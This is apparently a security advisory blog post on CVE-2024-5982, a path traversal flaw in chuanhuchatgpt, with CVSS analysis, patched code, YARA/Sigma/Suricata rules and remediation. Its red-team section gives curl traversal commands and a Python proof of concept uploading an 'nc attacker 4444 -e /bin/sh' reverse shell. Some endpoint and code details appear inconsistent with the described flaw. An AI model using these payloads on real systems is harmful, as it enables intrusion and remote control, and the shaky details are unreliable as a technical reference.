CVE-2024-5982

Executive Summary

CVE-2024-5982 is a critical path traversal vulnerability (CVSS 9.1) in the gaizhenbiao/chuanhuchatgpt application, an open-source ChatGPT-like interface. The flaw allows unauthenticated remote attackers to perform arbitrary file uploads, directory creation, and CSV data leakage by manipulating unsanitized user inputs concatenated with directory paths via os.path.join. The most severe impact is remote code execution (RCE) through arbitrary file upload in the load_chat_history function. No official patch exists, and the vendor has not responded to disclosure. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a Python-based open-source project distributed via GitHub. There is no official PyPI package, but users may install from source. The lack of a patch and vendor responsiveness means the entire supply chain relying on this software is at risk. Organizations using chuanhuchatgpt should immediately isolate or remove it until a fix is applied.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Arbitrary file read (CSV leakage) and potential data exfiltration.
• Integrity (I): High (H) – Arbitrary file upload can overwrite critical files.
• Availability (A): High (H) – RCE can lead to full system compromise.

Threat Level: Critical. The combination of network exploitability, no authentication, and RCE potential makes this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability stems from improper input sanitization in three key functions:

1. load_chat_history in modules/models/base_model.py: Accepts a user-supplied path and concatenates it with a base directory using os.path.join. An attacker can supply a path like ../../../etc/passwd to upload arbitrary files, potentially overwriting application code or system files.

2. get_history_names in utils.py: Creates directories based on user input without validation. An attacker can create directories anywhere on the filesystem, potentially filling disk space or creating files in sensitive locations.

3. load_template in utils.py: Reads CSV files based on user input. By providing a path like ../../../etc/passwd, the attacker can read the first column of any CSV file, leaking sensitive data.

The root cause is the use of os.path.join with unsanitized user input, which does not prevent path traversal sequences like ../.

Vulnerable vs. Patched Code

Vulnerable Code (example from load_chat_history):

def load_chat_history(self, user_path):
    full_path = os.path.join(self.base_dir, user_path)
    with open(full_path, 'r') as f:
        return f.read()

Patched Code (hypothetical):

import os

def load_chat_history(self, user_path):
    # Sanitize: resolve and ensure path is within base_dir
    full_path = os.path.normpath(os.path.join(self.base_dir, user_path))
    if not full_path.startswith(os.path.normpath(self.base_dir)):
        raise ValueError("Invalid path")
    with open(full_path, 'r') as f:
        return f.read()

The patched version uses os.path.normpath to resolve ../ sequences and then checks that the resolved path starts with the intended base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running chuanhuchatgpt (default port 5000).
• No authentication required.

Exploit Steps:

1. Arbitrary File Upload (RCE):

   curl -X POST http://target:5000/upload \
     -F "file=@malicious.py" \
     -F "path=../../../app/static/uploads/"
   

   This uploads malicious.py to the application's static directory, which can then be executed via a web request.

2. Directory Creation:

   curl -X POST http://target:5000/create_dir \
     -d "dir_name=../../../tmp/evil"
   

3. CSV Data Leakage:

   curl "http://target:5000/load_template?path=../../../etc/passwd"
   

PoC Script (Python):

import requests

target = "http://target:5000"
# Upload a Python reverse shell
files = {'file': ('shell.py', 'import os; os.system("nc attacker 4444 -e /bin/sh")')}
r = requests.post(f"{target}/upload", files=files, data={'path': '../../../app/static/uploads/'})
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests containing ../ in POST parameters or file paths.
• Alert on unusual file uploads to directories outside the application root.
• Use WAF rules to block path traversal patterns.

Honeypot:

• Deploy a fake chuanhuchatgpt instance and log all file operations.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with ../ in path, dir_name, or template parameters.
  • Outbound connections from the server to unknown IPs (reverse shell).
• File System:
  • Unexpected files in /app/static/uploads/ or /tmp/.
  • New directories created outside the application root.
• Logs:
  • Application logs showing os.path.join with suspicious paths.
  • Web server logs with 404 or 500 errors after path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2024_5982_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in chuanhuchatgpt"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5982"
    strings:
        $traversal = /\.\.\// nocase
        $upload = /upload/ nocase
        $load_template = /load_template/ nocase
    condition:
        any of ($traversal) and any of ($upload, $load_template)
}

Sigma Rule

title: CVE-2024-5982 Path Traversal in chuanhuchatgpt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts in chuanhuchatgpt application
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/upload'
            - '/create_dir'
            - '/load_template'
        c-uri|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of '..' in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5982 Path Traversal in chuanhuchatgpt"; flow:to_server; content:"/upload"; http_uri; content:".."; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet until a patch is available.
2. Apply WAF rules to block ../ in request parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Replace os.path.join with a secure path validation function that resolves and restricts paths to a whitelist.
• Implement input sanitization to strip ../ sequences.
• Use a chroot or container to limit file system access.

Workaround:

• Modify the source code to use os.path.abspath and check that the result starts with the allowed base directory.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert